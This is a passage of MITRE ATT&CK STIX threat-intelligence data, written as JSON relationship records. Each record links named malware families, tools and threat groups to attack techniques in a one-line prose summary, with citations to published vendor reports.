Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can download and execute additional files. [Azorult](https://attack.mitre.org/software/S0344) has also downloaded a ransomware payload called Hermes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:14.965Z", + "id": "relationship--6dbac0dd-ebd3-49dc-bbef-d5a7fd464e02", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + }, + { + "source_name": "Proofpoint Azorult July 2018", + "description": "Proofpoint. (2018, July 30). New version of AZORult stealer improves loading features, spreads alongside ransomware in new campaign. Retrieved November 29, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to delete a specified file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.723Z", + "id": "relationship--acdc53fa-91d6-4417-bc7b-83c220ec9fae", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.649Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) can capture keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:38:21.383Z", + "id": "relationship--dfe16a67-5f63-40a8-9f60-2d0313e55e46", + "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda", + "modified": "2019-01-30T15:38:21.383Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1 Appendix", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can delete files from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:47:41.459Z", + "id": "relationship--27e8d133-848b-4db0-ac79-b5a37da879f1", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "modified": "2019-01-30T15:47:41.459Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "source_name": "TrendMicro Lazarus Nov 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and use process hollowing to inject it into a new process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a5b4d08c-963a-48fe-8f22-ba344835d00e", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that has the capability to execute malware via COM and Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:40.954Z", + "id": "relationship--319dbc0e-5026-4796-bfd9-43ef3d30eb8d", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.862Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the hostname, OS version, service pack version, and the processor architecture from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.295Z", + "id": "relationship--2c44970b-616d-401e-b9ed-72ac39ca5709", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.208Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) enticed users to click on links in spearphishing emails to download malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.278Z", + "id": "relationship--8027944a-f329-4381-a8cf-0bceb9f8e105", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.939Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) decodes its secondary payload and writes it to the victim\u2019s machine. [Zebrocy](https://attack.mitre.org/software/S0251) also uses AES and XOR to decrypt strings and payloads.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:39:48.473Z", + "id": "relationship--e3be5269-92fd-488e-be35-ddc91030f7c3", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.822Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019.", + "source_name": "ESET Zebrocy Nov 2018", + "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) encrypts its strings in RSA256 and encodes them in a custom base64 scheme and XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:18:20.163Z", + "id": "relationship--0112eb25-7f6c-49cd-95c8-bf0d49f7c380", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "modified": "2019-09-26T16:22:41.974Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "source_name": "TrendMicro MacOS April 2018", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) has established persistence by writing the payload to the Registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.761Z", + "id": "relationship--534cf936-84e8-49ff-a616-90267467decd", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.357Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) downloads and uploads files on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--083cbf6f-82e3-4d78-b18f-aa2d1f566713", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--de840f88-b9d0-4f7e-b5c0-b666faa2d92f", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.787Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s DLL file and non-malicious decoy file are encrypted with RC4.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--62e35388-0f7d-4434-af87-6f6c09a1a12b", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) gathers the Mac address, IP address, and the network adapter information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a5bf547a-7fe3-4fa5-96f7-a932e583bf9e", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) uses a large list of C2 servers that it cycles through until a successful connection is established.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e2317e9b-9301-4c44-959f-94d66858136c", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) used a signed credential-dumping tool to obtain victim account credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--a0c55c8d-6192-4faa-a5a2-1742fb5815a0", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "modified": "2019-03-25T16:59:47.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors deleted tools and batch files from victim systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--6175bbbe-1bc1-4562-8c5f-9e437348636a", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) executes batch scripts on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e73efb12-ee40-4896-8df6-c0c8b6cb0c92", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has gathered information about local network connections using [netstat](https://attack.mitre.org/software/S0104).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5b2c87e3-8eac-48b3-832b-2290b367403d", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used compromised credentials to access other systems on a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9779ccbc-c376-4a6e-a43f-56a782892302", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.327Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can download a hosted \"beacon\" payload using [BITSAdmin](https://attack.mitre.org/software/S0190).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3c2ccc2c-813a-400f-b7ee-53f1ff120d3d", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.502Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CobaltStrike Scripted Web Delivery", + "description": "Strategic Cyber, LLC. (n.d.). Scripted Web Delivery. Retrieved January 23, 2018.", + "url": "https://www.cobaltstrike.com/help-scripted-web-delivery" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[DustySky](https://attack.mitre.org/software/S0062) has used both HTTP and HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2892eada-7633-4428-80e0-0e965d5faf5c", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses encrypted Windows APIs and also encrypts data using the alternative base64+RC4 or the Caesar cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--92b34cc0-b059-4294-824f-bb92298f3ae6", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "source_name": "CopyKittens Nov 2015", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "For C2 over HTTP, [Helminth](https://attack.mitre.org/software/S0170) encodes data with base64 and sends it via the \"Cookie\" field of HTTP requests. For C2 over DNS, [Helminth](https://attack.mitre.org/software/S0170) converts ASCII characters into their hexadecimal values and sends the data in cleartext.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e68ff1c2-ef03-486b-96df-167a1652a97b", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "The net time command can be used in [Net](https://attack.mitre.org/software/S0039) to determine the local or remote system time.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--12455fe5-42dd-420e-839e-8a96886488f7", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "modified": "2019-04-24T23:39:01.578Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). Net time. Retrieved November 25, 2016.", + "source_name": "TechNet Net Time", + "url": "https://technet.microsoft.com/bb490716.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of running services with the command tasklist /svc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--36f0915e-66aa-4062-b909-35414c639ae1", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Nidiran](https://attack.mitre.org/software/S0118) communicates with its C2 domain over ports 443 and 8443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d72da887-5684-47ac-958a-84b3e8b59c0b", + "source_ref": 